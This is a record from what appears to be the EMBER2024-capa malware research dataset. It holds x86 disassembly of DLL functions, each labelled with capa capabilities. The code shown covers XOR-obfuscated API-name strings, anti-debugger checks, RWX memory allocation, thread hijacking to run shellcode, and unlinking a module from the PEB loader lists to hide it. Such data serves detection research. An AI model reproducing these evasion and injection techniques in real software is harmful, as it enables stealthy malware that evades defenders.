joyce8/EMBER2024-capa huggingface dataset:
Function at 0x10001570
Capabilities:
Contain obfuscated stackstrings
Encode data using xor

Disassembly:
push ebx
mov ebx, esp
sub esp, 8
and esp, 0xfffffff8
add esp, 4
push ebp
mov ebp, dword [ebx + 4]
mov dword [esp + 4], ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x10023aad
mov eax, dword fs:[0]
push eax
push ebx
sub esp, 0x30
mov eax, dword [0x10030040]
xor eax, ebp
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
movaps xmm0, xmmword [0x1002cf90]
xor ecx, ecx
movups xmmword [ebp - 0x40], xmm0
mov dword [ebp - 0x30], 0x52486442
mov dword [ebp - 0x2c], 0x55425349
mov byte [ebp - 0x28], 0
mov al, byte [ebp - 0x40]
xor byte [ebp + ecx - 0x3f], al
inc ecx
cmp ecx, 0x17
jb 0x100015c8
mov byte [ebp - 0x28], 0
mov dl, 0x19
mov dword [ebp - 0x20], 0x6b7c7219
xor ecx, ecx
mov dword [ebp - 0x1c], 0x2a757c77
mov dword [ebp - 0x18], 0x757d372b
mov word [ebp - 0x14], 0x75
lea eax, [ebp - 0x1f]
xor byte [eax + ecx], dl
inc ecx
cmp ecx, 0xc
jae 0x10001609
mov dl, byte [ebp - 0x20]
jmp 0x100015f8
lea eax, [ebp - 0x1f]
mov byte [ebp - 0x13], 0
push eax
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
lea ecx, [ebp - 0x3f]
push ecx
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov ecx, eax
call fcn.10007f30
cmp al, 0xe9
jne 0x100016c5
movaps xmm0, xmmword [0x1002d000]
xor ecx, ecx
movups xmmword [ebp - 0x24], xmm0
mov word [ebp - 0x14], 0x6c
mov al, byte [ebp - 0x24]
xor byte [ebp + ecx - 0x23], al
inc ecx
cmp ecx, 0x10
jb 0x10001644
xorps xmm0, xmm0
mov byte [ebp - 0x13], 0
lea ecx, [ebp - 0x23]
mov dword [ebp - 0x30], 0
movups xmmword [ebp - 0x40], xmm0
mov dword [ebp - 0x2c], 0
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x10001670
sub ecx, edx
lea eax, [ebp - 0x23]
push ecx
push eax
lea ecx, [ebp - 0x40]
call fcn.10002460
lea ecx, [ebp - 0x40]
mov dword [ebp - 4], 0
call fcn.100085e0
mov ecx, dword [ebp - 0x2c]
cmp ecx, 0xf
jbe 0x100016c5
mov edx, dword [ebp - 0x40]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x100016bb
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x100016d7
push ecx
push edx
call fcn.1000af7a
add esp, 8
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
mov esp, ebp
pop ebp
mov esp, ebx
pop ebx
ret
call fcn.1000fdef
int3
Function at 0x100016e0
Capabilities:
Contain obfuscated stackstrings
Encode data using xor

Disassembly:
push ebx
mov ebx, esp
sub esp, 8
and esp, 0xfffffff8
add esp, 4
push ebp
mov ebp, dword [ebx + 4]
mov dword [esp + 4], ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x10023add
mov eax, dword fs:[0]
push eax
push ebx
sub esp, 0x30
mov eax, dword [0x10030040]
xor eax, ebp
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov dl, 0x13
mov dword [ebp - 0x20], 0x7e7a6713
mov dword [ebp - 0x1c], 0x67765476
xor ecx, ecx
mov dword [ebp - 0x18], 0x767e7a47
mov byte [ebp - 0x14], 0
lea eax, [ebp - 0x1f]
xor byte [eax + ecx], dl
inc ecx
cmp ecx, 0xb
jae 0x10001747
mov dl, byte [ebp - 0x20]
jmp 0x10001736
mov byte [ebp - 0x14], 0
mov dl, 0x54
mov dword [ebp - 0x38], 0x26313f54
xor ecx, ecx
mov dword [ebp - 0x34], 0x6738313a
mov dword [ebp - 0x30], 0x38307a66
mov word [ebp - 0x2c], 0x38
nop word [eax + eax]
lea eax, [ebp - 0x37]
xor byte [eax + ecx], dl
inc ecx
cmp ecx, 0xc
jae 0x10001781
mov dl, byte [ebp - 0x38]
jmp 0x10001770
lea eax, [ebp - 0x37]
mov byte [ebp - 0x2b], 0
push eax
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
lea ecx, [ebp - 0x1f]
push ecx
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov ecx, eax
call fcn.10007f30
cmp al, 0xe9
jne 0x10001845
movaps xmm0, xmmword [0x1002cf50]
xor ecx, ecx
movups xmmword [ebp - 0x3c], xmm0
mov word [ebp - 0x2c], 4
nop dword [eax]
mov al, byte [ebp - 0x3c]
xor byte [ebp + ecx - 0x3b], al
inc ecx
cmp ecx, 0x10
jb 0x100017c0
xorps xmm0, xmm0
mov byte [ebp - 0x2b], 0
lea ecx, [ebp - 0x3b]
mov dword [ebp - 0x18], 0
movups xmmword [ebp - 0x28], xmm0
mov dword [ebp - 0x14], 0
lea edx, [ecx + 1]
nop dword [eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x100017f0
sub ecx, edx
lea eax, [ebp - 0x3b]
push ecx
push eax
lea ecx, [ebp - 0x28]
call fcn.10002460
lea ecx, [ebp - 0x28]
mov dword [ebp - 4], 0
call fcn.100085e0
mov ecx, dword [ebp - 0x14]
cmp ecx, 0xf
jbe 0x10001845
mov edx, dword [ebp - 0x28]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x1000183b
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x10001857
push ecx
push edx
call fcn.1000af7a
add esp, 8
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
mov esp, ebp
pop ebp
mov esp, ebx
pop ebx
ret
call fcn.1000fdef
int3
Function at 0x10001860
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebx
mov ebx, esp
sub esp, 8
and esp, 0xfffffff8
add esp, 4
push ebp
mov ebp, dword [ebx + 4]
mov dword [esp + 4], ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x10023b0d
mov eax, dword fs:[0]
push eax
push ebx
sub esp, 0x30
mov eax, dword [0x10030040]
xor eax, ebp
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov dl, 0x15
mov dword [ebp - 0x34], 0x61705215
mov dword [ebp - 0x30], 0x7e767c41
xor ecx, ecx
mov dword [ebp - 0x2c], 0x7b607a56
mov word [ebp - 0x28], 0x61
lea eax, [ebp - 0x33]
xor byte [eax + ecx], dl
inc ecx
cmp ecx, 0xc
jae 0x100018c9
mov dl, byte [ebp - 0x34]
jmp 0x100018b8
mov byte [ebp - 0x27], 0
mov dl, 0x25
mov dword [ebp - 0x24], 0x57404e25
xor ecx, ecx
mov dword [ebp - 0x20], 0x1649404b
mov dword [ebp - 0x1c], 0x49410b17
mov word [ebp - 0x18], 0x49
nop dword [eax]
lea eax, [ebp - 0x23]
xor byte [eax + ecx], dl
inc ecx
cmp ecx, 0xc
jae 0x10001901
mov dl, byte [ebp - 0x24]
jmp 0x100018f0
lea eax, [ebp - 0x23]
mov byte [ebp - 0x17], 0
push eax
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
lea ecx, [ebp - 0x33]
push ecx
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov ecx, eax
call fcn.10007f30
cmp al, 0xe9
jne 0x100019f8
mov byte [ebp - 0x24], 0x35
mov cl, 0x5c
xor cl, byte [ebp - 0x24]
mov al, 0x61
xor al, byte [ebp - 0x24]
mov ch, 0x76
mov byte [ebp - 0x23], al
mov dl, 0x56
mov byte [ebp - 0x22], cl
mov dh, 0x5a
mov cl, byte [ebp - 0x24]
mov ah, 0x5e
mov byte [ebp - 0x11], 0x40
xor dl, cl
mov al, byte [ebp - 0x11]
xor ch, cl
xor al, cl
mov byte [ebp - 0x12], 0x5b
mov byte [ebp - 0x1d], al
xor dh, cl
mov al, byte [ebp - 0x12]
xor ah, cl
xor al, cl
mov byte [ebp - 0x13], 0x41
mov byte [ebp - 0x1c], al
xorps xmm0, xmm0
mov al, byte [ebp - 0x13]
xor al, cl
mov byte [ebp - 0x1f], ch
lea ecx, [ebp - 0x23]
mov byte [ebp - 0x1a], 0
mov byte [ebp - 0x21], dl
mov byte [ebp - 0x1e], dh
lea edx, [ecx + 1]
mov byte [ebp - 0x20], ah
mov byte [ebp - 0x1b], al
mov byte [ebp - 0x1a], 0
movups xmmword [ebp - 0x3c], xmm0
mov dword [ebp - 0x2c], 0
mov dword [ebp - 0x28], 0
mov al, byte [ecx]
inc ecx
test al, al
jne 0x100019a3
sub ecx, edx
lea eax, [ebp - 0x23]
push ecx
push eax
lea ecx, [ebp - 0x3c]
call fcn.10002460
lea ecx, [ebp - 0x3c]
mov dword [ebp - 4], 0
call fcn.100085e0
mov ecx, dword [ebp - 0x28]
cmp ecx, 0xf
jbe 0x100019f8
mov edx, dword [ebp - 0x3c]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x100019ee
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x10001a0a
push ecx
push edx
call fcn.1000af7a
add esp, 8
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
mov esp, ebp
pop ebp
mov esp, ebx
pop ebx
ret
call fcn.1000fdef
int3

Function at 0x10001cf0
Capabilities:
Check for peb beingdebugged flag

Disassembly:
mov eax, dword fs:[0x30]
movzx eax, byte [eax + 2]
ret
Function at 0x10001d00
Capabilities:
Allocate or change rwx memory
Get system information on windows

Disassembly:
push ebp
mov ebp, esp
push 0xfffffffffffffffe
push 0x1002e2a8
push 0x1000c430
mov eax, dword fs:[0]
push eax
add esp, 0xffffffc0
mov eax, dword [0x10030040]
xor dword [ebp - 8], eax
xor eax, ebp
mov dword [ebp - 0x1c], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0x10]
mov dword fs:[0], eax
mov dword [ebp - 0x18], esp
mov dword [ebp - 0x50], 0
xor eax, eax
mov dword [ebp - 0x48], eax
mov dword [ebp - 0x44], eax
mov dword [ebp - 0x40], eax
mov dword [ebp - 0x3c], eax
mov dword [ebp - 0x38], eax
mov dword [ebp - 0x34], eax
mov dword [ebp - 0x30], eax
mov dword [ebp - 0x2c], eax
mov dword [ebp - 0x28], eax
mov dword [ebp - 0x20], 0
mov dword [ebp - 0x24], 0
lea ecx, [ebp - 0x48]
push ecx
call dword [sym.imp.KERNEL32.dll_GetSystemInfo]
push 0x40
push 0x3000
mov edx, dword [ebp - 0x44]
push edx
push 0
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov dword [ebp - 0x24], eax
cmp dword [ebp - 0x24], 0
jne 0x10001d95
xor al, al
jmp 0x10001e1e
mov eax, dword [ebp - 0x24]
mov dword [ebp - 0x50], eax
mov ecx, dword [ebp - 0x50]
mov byte [ecx], 0xc3
lea edx, [ebp - 0x20]
push edx
push 0x140
mov eax, dword [ebp - 0x44]
push eax
mov ecx, dword [ebp - 0x24]
push ecx
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
jne 0x10001dc0
xor al, al
jmp 0x10001e1e
mov dword [ebp - 4], 0
mov eax, dword [ebp - 0x24]
push 0x10001e0b
jmp eax
mov ecx, dword [ebp - 0x10]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x1c]
xor ecx, ebp
call fcn.1000af19
mov esp, ebp
pop ebp
ret
Function at 0x10002630
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x10023bd0
mov eax, dword fs:[0]
push eax
sub esp, 0xcc
mov eax, dword [0x10030040]
xor eax, ebp
mov dword [ebp - 0x10], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov edi, ecx
mov dword [ebp - 0xb0], edi
mov dword [ebp - 0xb0], edi
call dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
push 0x98
mov ebx, eax
lea eax, [ebp - 0xa8]
push 0
push eax
call fcn.1000cd60
add esp, 8
lea ecx, [ebp - 0xa8]
call fcn.10007490
mov dword [ebp - 4], 0
xor eax, eax
movaps xmm0, xmmword [0x1002cfa0]
movups xmmword [ebp - 0xc4], xmm0
mov dword [ebp - 0xb4], 0x7e0551
nop word [eax + eax]
mov cl, byte [ebp - 0xc4]
xor byte [ebp + eax - 0xc3], cl
inc eax
cmp eax, 0x12
jb 0x100026c0
lea edx, [ebp - 0xc3]
mov byte [ebp - 0xb1], 0
lea ecx, [ebp - 0xa8]
call fcn.100054b0
mov esi, eax
push 0
push 8
mov eax, dword [esi]
mov eax, dword [eax + 4]
or dword [eax + esi + 0x14], 4
mov eax, dword [esi]
mov ecx, dword [eax + 4]
mov eax, dword [ecx + esi + 0x14]
and eax, 0xfffff9ff
or eax, 0x800
mov dword [ecx + esi + 0x14], eax
lea eax, [ebp - 0xd8]
push eax
call fcn.10009bb2
add esp, 0xc
mov ecx, dword [eax]
push dword [eax + 0xc]
push dword [eax + 8]
mov eax, dword [esi]
mov eax, dword [eax + 4]
add eax, esi
push eax
call ecx
mov eax, dword [esi]
add esp, 0xc
mov ecx, esi
mov eax, dword [eax + 4]
push ebx
mov byte [eax + esi + 0x40], 0x30
call fcn.10002b60
mov ecx, eax
mov byte [ebp - 0xaa], 0
mov dl, 0x15
mov byte [ebp - 0xaa], 0
mov al, 0x48
mov byte [ebp - 0xac], dl
xor al, dl
lea edx, [ebp - 0xab]
mov byte [ebp - 0xab], al
call fcn.100054b0
push edi
lea ecx, [ebp - 0xa8]
call fcn.100050b0
mov eax, dword [ebp - 0xa8]
mov eax, dword [eax + 4]
mov dword [ebp + eax - 0xa8], vtable.std::basic_ostringstream_char__struct_std::char_traits_char___class_std::allocator_char__.0
mov eax, dword [ebp - 0xa8]
mov ecx, dword [eax + 4]
lea eax, [ecx - 0x50]
mov dword [ebp + ecx - 0xac], eax
lea ecx, [ebp - 0xa4]
call fcn.100073c0
mov eax, dword [ebp - 0xa8]
mov eax, dword [eax + 4]
mov dword [ebp + eax - 0xa8], vtable.std::basic_ostream_char__struct_std::char_traits_char__.0
mov eax, dword [ebp - 0xa8]
mov edx, dword [eax + 4]
lea ecx, [edx - 8]
mov dword [ebp + edx - 0xac], ecx
lea eax, [ebp - 0x58]
mov dword [ebp - 4], 1
push eax
mov dword [ebp - 0x58], vtable.std::ios_base.0
call fcn.100097a6
add esp, 4
mov eax, edi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.1000af19
mov esp, ebp
pop ebp
ret
Function at 0x100085e0
Capabilities:
Terminate process

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x1002431d
mov eax, dword fs:[0]
push eax
sub esp, 0x2c
mov eax, dword [0x10030040]
xor eax, ebp
mov dword [ebp - 0x10], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov ebx, ecx
cmp byte [0x10033784], 0
je 0x10008727
mov esi, dword [sym.imp.KERNEL32.dll_GetTickCount64]
call esi
sub eax, dword [0x100337e0]
sbb edx, dword [0x100337e4]
mov dword [ebp - 0x34], edx
jne 0x1000863e
cmp eax, 0x3e8
jb 0x1000873e
call esi
push ecx
lea ecx, [ebp - 0x2c]
mov dword [0x100337e0], eax
mov dword [0x100337e4], edx
call fcn.10007710
mov dword [ebp - 0x2c], vtable.ByteBuffer.0
mov byte [ebp - 0x28], 1
mov dword [ebp - 0x24], 0
mov dword [ebp - 0x20], 0
mov dword [ebp - 0x1c], 0
mov dword [ebp - 0x18], 0
mov dword [ebp - 0x14], 0
lea eax, [ebp - 0x34]
mov dword [ebp - 4], 0
push eax
lea ecx, [ebp - 0x1c]
mov dword [ebp - 0x34], 0x1000
call fcn.100078f0
mov dword [ebp - 4], 1
mov edi, dword [ebp - 0x18]
mov esi, edi
mov edx, dword [ebp - 0x1c]
sub esi, edx
mov dword [ebp - 0x2c], vtable.Packet.0
cmp esi, 0x989680
ja 0x100086fa
mov ecx, dword [ebp - 0x20]
inc ecx
cmp esi, ecx
jae 0x100086f0
mov eax, dword [ebp - 0x14]
sub eax, edx
cmp ecx, eax
jbe 0x100086d9
push ecx
push ecx
lea ecx, [ebp - 0x1c]
call fcn.10007770
jmp 0x100086ed
sub ecx, esi
push ecx
push 0
push edi
lea esi, [edi + ecx]
call fcn.1000cd60
add esp, 0xc
mov dword [ebp - 0x18], esi
mov edx, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x20]
mov byte [edx + eax], 0xa1
inc dword [ebp - 0x20]
push ecx
lea ecx, [ebp - 0x2c]
mov dword [ebp - 4], 2
call fcn.10008a20
push ebx
mov ecx, eax
call fcn.10008a00
lea ecx, [ebp - 0x2c]
call fcn.10008a90
mov edx, dword [ebp - 0x18]
mov ecx, eax
sub edx, dword [ebp - 0x1c]
call fcn.10007fa0
push 9
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.1000af19
mov esp, ebp
pop ebp
ret
Function at 0x10008c40
Capabilities:
Allocate or change rwx memory
Contain obfuscated stackstrings
Create thread
Hijack thread execution
Resume thread
Spawn thread to rwx shellcode
Suspend thread

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x2f8
mov eax, dword [0x10030040]
xor eax, ebp
mov dword [ebp - 4], eax
mov cl, 0x27
mov dword [ebp - 0x2f8], 0x4b537527
mov dword [ebp - 0x2f4], 0x4346486b
xor eax, eax
mov dword [ebp - 0x2f0], 0x4e555374
mov word [ebp - 0x2ec], 0x4049
mov byte [ebp - 0x2ea], 0
xor byte [ebp + eax - 0x2f7], cl
inc eax
cmp eax, 0xd
jae 0x10008c9a
mov cl, byte [ebp - 0x2f8]
jmp 0x10008c85
push ebx
mov byte [ebp - 0x2e8], 0x19
mov al, 0x77
xor al, byte [ebp - 0x2e8]
mov bl, 0x75
mov ah, bl
mov byte [ebp - 0x2e7], al
mov al, byte [ebp - 0x2e8]
mov dl, 0x7d
mov bh, ah
mov byte [ebp - 0x2d9], ah
mov dh, dl
mov byte [ebp - 0x2de], 0
xor dl, al
mov byte [ebp - 0x2ea], 0
xor bl, al
mov byte [ebp - 0x2e5], dl
xor ah, al
mov byte [ebp - 0x2e4], bl
xor dh, al
mov byte [ebp - 0x2e3], ah
xor bh, al
mov byte [ebp - 0x2e1], dh
mov cl, 0x6d
mov byte [ebp - 0x2e0], bh
xor cl, al
mov byte [ebp - 0x2de], 0
mov ch, 0x37
mov byte [ebp - 0x2e6], cl
xor ch, al
mov al, byte [ebp - 0x2d9]
xor al, byte [ebp - 0x2e8]
mov byte [ebp - 0x2df], al
lea eax, [ebp - 0x2e7]
push esi
push eax
mov byte [ebp - 0x2e2], ch
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
lea ecx, [ebp - 0x2f7]
push ecx
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov esi, eax
add esi, 0x430
je 0x10008e12
lea eax, [ebp - 8]
mov dword [ebp - 8], 0
push eax
push 0x40
push 0x1000
push esi
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
je 0x10008e12
push 0x2c8
lea eax, [ebp - 0x2d4]
push 0
push eax
call fcn.1000cd60
add esp, 0xc
lea eax, [ebp - 0xc]
push eax
push 0
push 0
push esi
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov esi, eax
test esi, esi
je 0x10008e12
push esi
call dword [sym.imp.KERNEL32.dll_SuspendThread]
cmp eax, 0xffffffff
je 0x10008e12
lea eax, [ebp - 0x2d8]
mov dword [ebp - 0x2d8], 0x10002
push eax
push esi
call dword [sym.imp.KERNEL32.dll_GetThreadContext]
test eax, eax
je 0x10008e12
lea eax, [ebp - 0x2d8]
mov dword [ebp - 0x228], 0x10001e40
push eax
push esi
mov dword [ebp - 0x2d8], 0x10002
call dword [sym.imp.KERNEL32.dll_SetThreadContext]
test eax, eax
je 0x10008e12
push esi
call dword [sym.imp.KERNEL32.dll_ResumeThread]
xor ecx, ecx
cmp eax, 0xffffffff
cmove esi, ecx
mov eax, esi
pop esi
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.1000af19
mov esp, ebp
pop ebp
ret
mov ecx, dword [ebp - 4]
xor eax, eax
pop esi
xor ecx, ebp
pop ebx
call fcn.1000af19
mov esp, ebp
pop ebp
ret
Function at 0x10008e30
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x2c
push ebx
mov byte [ebp - 0x10], 9
mov al, 0x67
xor al, byte [ebp - 0x10]
mov bl, 0x65
mov ah, bl
mov byte [ebp - 0xf], al
mov al, byte [ebp - 0x10]
mov dl, 0x6d
push esi
mov esi, ecx
mov byte [ebp - 1], ah
mov bh, ah
mov byte [ebp - 6], 0
mov dh, dl
mov byte [ebp - 6], 0
xor dl, al
xor bl, al
xor ah, al
mov byte [ebp - 0xd], dl
xor dh, al
mov byte [ebp - 0xb], ah
xor bh, al
mov byte [ebp - 0xc], bl
mov cl, 0x7d
mov byte [ebp - 9], dh
xor cl, al
mov byte [ebp - 8], bh
mov ch, 0x27
mov byte [ebp - 0xe], cl
xor ch, al
mov al, byte [ebp - 1]
xor al, byte [ebp - 0x10]
mov byte [ebp - 7], al
lea eax, [ebp - 0xf]
push edi
push eax
mov byte [ebp - 0xa], ch
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov edx, eax
test edx, edx
je 0x10008f03
movaps xmm0, xmmword [0x1002cf70]
xor eax, eax
movups xmmword [ebp - 0x28], xmm0
mov dword [ebp - 0x18], 0x263c003a
mov dword [ebp - 0x14], 0x303531
nop word [eax + eax]
mov cl, byte [ebp - 0x28]
xor byte [ebp + eax - 0x27], cl
inc eax
cmp eax, 0x16
jb 0x10008ec0
lea eax, [ebp - 0x27]
mov byte [ebp - 0x11], 0
push eax
push edx
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov edi, eax
test edi, edi
je 0x10008f03
test esi, esi
jne 0x10008eee
call dword [sym.imp.KERNEL32.dll_GetCurrentThread]
mov esi, eax
push 0
push 0
push 0x11
push esi
call edi
test eax, eax
sete al
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
pop edi
pop esi
xor al, al
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x10008f10
Capabilities:
Access peb ldr_data

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
push ebx
push esi
push edi
mov dword [ebp - 8], ecx
mov dword [ebp - 4], 0
pushal
pushfd
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0xc]
mov dword [ebp - 4], eax
mov esi, dword [eax + 0xc]
mov edx, dword [eax + 0x10]
lodsd eax, dword [esi]
mov esi, eax
mov ecx, dword [eax + 0x18]
cmp ecx, dword [ebp - 8]
jne 0x10008f4e
mov ebx, dword [eax]
mov ecx, dword [eax + 4]
mov dword [ecx], ebx
mov dword [ebx + 4], ecx
jmp 0x10008f52
cmp edx, esi
jne 0x10008f37
mov eax, dword [ebp - 4]
mov esi, dword [eax + 0x14]
mov edx, dword [eax + 0x18]
lodsd eax, dword [esi]
mov esi, eax
mov ecx, dword [eax + 0x10]
cmp ecx, dword [ebp - 8]
jne 0x10008f72
mov ebx, dword [eax]
mov ecx, dword [eax + 4]
mov dword [ecx], ebx
mov dword [ebx + 4], ecx
jmp 0x10008f76
cmp edx, esi
jne 0x10008f5b
mov eax, dword [ebp - 4]
mov esi, dword [eax + 0x1c]
mov edx, dword [eax + 0x20]
lodsd eax, dword [esi]
mov esi, eax
mov ecx, dword [eax + 8]
cmp ecx, dword [ebp - 8]
jne 0x10008f96
mov ebx, dword [eax]
mov ecx, dword [eax + 4]
mov dword [ecx], ebx
mov dword [ebx + 4], ecx
jmp 0x10008f9a
cmp edx, esi
jne 0x10008f7f
popfd
popal
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x10010058
Capabilities:
Parse pe header

Disassembly:
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test eax, eax
je 0x10010097
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0x10010097
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x10010097
mov eax, 0x10b
cmp word [ecx + 0x18], ax
jne 0x10010097
cmp dword [ecx + 0x74], 0xe
jbe 0x10010097
cmp dword [ecx + 0xe8], 0
setne al
ret
xor al, al
ret

Function at 0x10017592
Capabilities:
Allocate thread local storage

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push esi
push 0x10029070
push 0x10029068
push str.FlsAlloc
push 0x1f
call fcn.1001745a
mov esi, eax
add esp, 0x10
test esi, esi
je 0x100175c6
push dword [ebp + 8]
mov ecx, esi
call dword [0x100251b8]
call esi
jmp 0x100175cc
call dword [sym.imp.KERNEL32.dll_TlsAlloc]
pop esi
pop ebp
ret 4

Function at 0x10017610
Capabilities:
Get thread local storage value

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push esi
push 0x10029080
push 0x10029078
push str.FlsGetValue
push 0x21
call fcn.1001745a
mov esi, eax
add esp, 0x10
test esi, esi
je 0x10017647
push dword [ebp + 8]
mov ecx, esi
call dword [0x100251b8]
call esi
pop esi
pop ebp
ret 4
pop esi
pop ebp
jmp dword [sym.imp.KERNEL32.dll_TlsGetValue]

Function at 0x1001764f
Capabilities:
Set thread local storage value

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push esi
push 0x10029088
push 0x10029080
push str.FlsSetValue
push 0x22
call fcn.1001745a
mov esi, eax
add esp, 0x10
test esi, esi
je 0x10017689
push dword [ebp + 0xc]
mov ecx, esi
push dword [ebp + 8]
call dword [0x100251b8]
call esi
pop esi
pop ebp
ret 8
pop esi
pop ebp
jmp dword [sym.imp.KERNEL32.dll_TlsSetValue]
Function at 0x1001bae2
Capabilities:
Query environment variable

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push ecx
push ecx
push esi
call dword [sym.imp.KERNEL32.dll_GetEnvironmentStringsW]
mov esi, eax
test esi, esi
je 0x1001bb7f
push ebx
push esi
call fcn.1001baab
xor ebx, ebx
sub eax, esi
push ebx
push ebx
push ebx
push ebx
sar eax, 1
push eax
push esi
push ebx
push ebx
mov dword [ebp - 8], eax
call fcn.1001a973
add esp, 0x24
mov dword [ebp - 4], eax
test eax, eax
jne 0x1001bb2c
push esi
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
xor eax, eax
jmp 0x1001bb7e
push edi
push eax
call fcn.10017c41
mov edi, eax
pop ecx
push ebx
test edi, edi
jne 0x1001bb4c
call fcn.10016c5a
pop ecx
push esi
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
xor eax, eax
jmp 0x1001bb7d
push ebx
push dword [ebp - 4]
push edi
push dword [ebp - 8]
push esi
push ebx
push ebx
call fcn.1001a973
add esp, 0x20
test eax, eax
jne 0x1001bb6b
push edi
call fcn.10016c5a
jmp 0x1001bb73
push ebx
call fcn.10016c5a
mov ebx, edi
pop ecx
push esi
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
mov eax, ebx
pop edi
pop ebx
pop esi
leave
ret

Function at 0x1001dcb6
Capabilities:
Get geographical location

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push ecx
push esi
push edi
call fcn.100151fc
mov esi, dword [ebp + 8]
mov edi, eax
push 2
lea eax, [ebp - 4]
mov ecx, esi
push eax
and ecx, 0x3ff
push 0x20000001
or ecx, 0x400
push ecx
call dword [sym.imp.KERNEL32.dll_GetLocaleInfoW]
test eax, eax
je 0x1001dd25
cmp esi, dword [ebp - 4]
je 0x1001dd20
cmp dword [ebp + 0xc], 0
je 0x1001dd20
mov esi, dword [edi + 0x50]
lea ecx, [esi + 2]
mov ax, word [esi]
add esi, 2
test ax, ax
jne 0x1001dcfd
push dword [edi + 0x50]
sub esi, ecx
sar esi, 1
call fcn.1001d808
pop ecx
xor ecx, ecx
cmp eax, esi
setne cl
mov eax, ecx
jmp 0x1001dd27
xor eax, eax
inc eax
jmp 0x1001dd27
xor eax, eax
pop edi
pop esi
leave
ret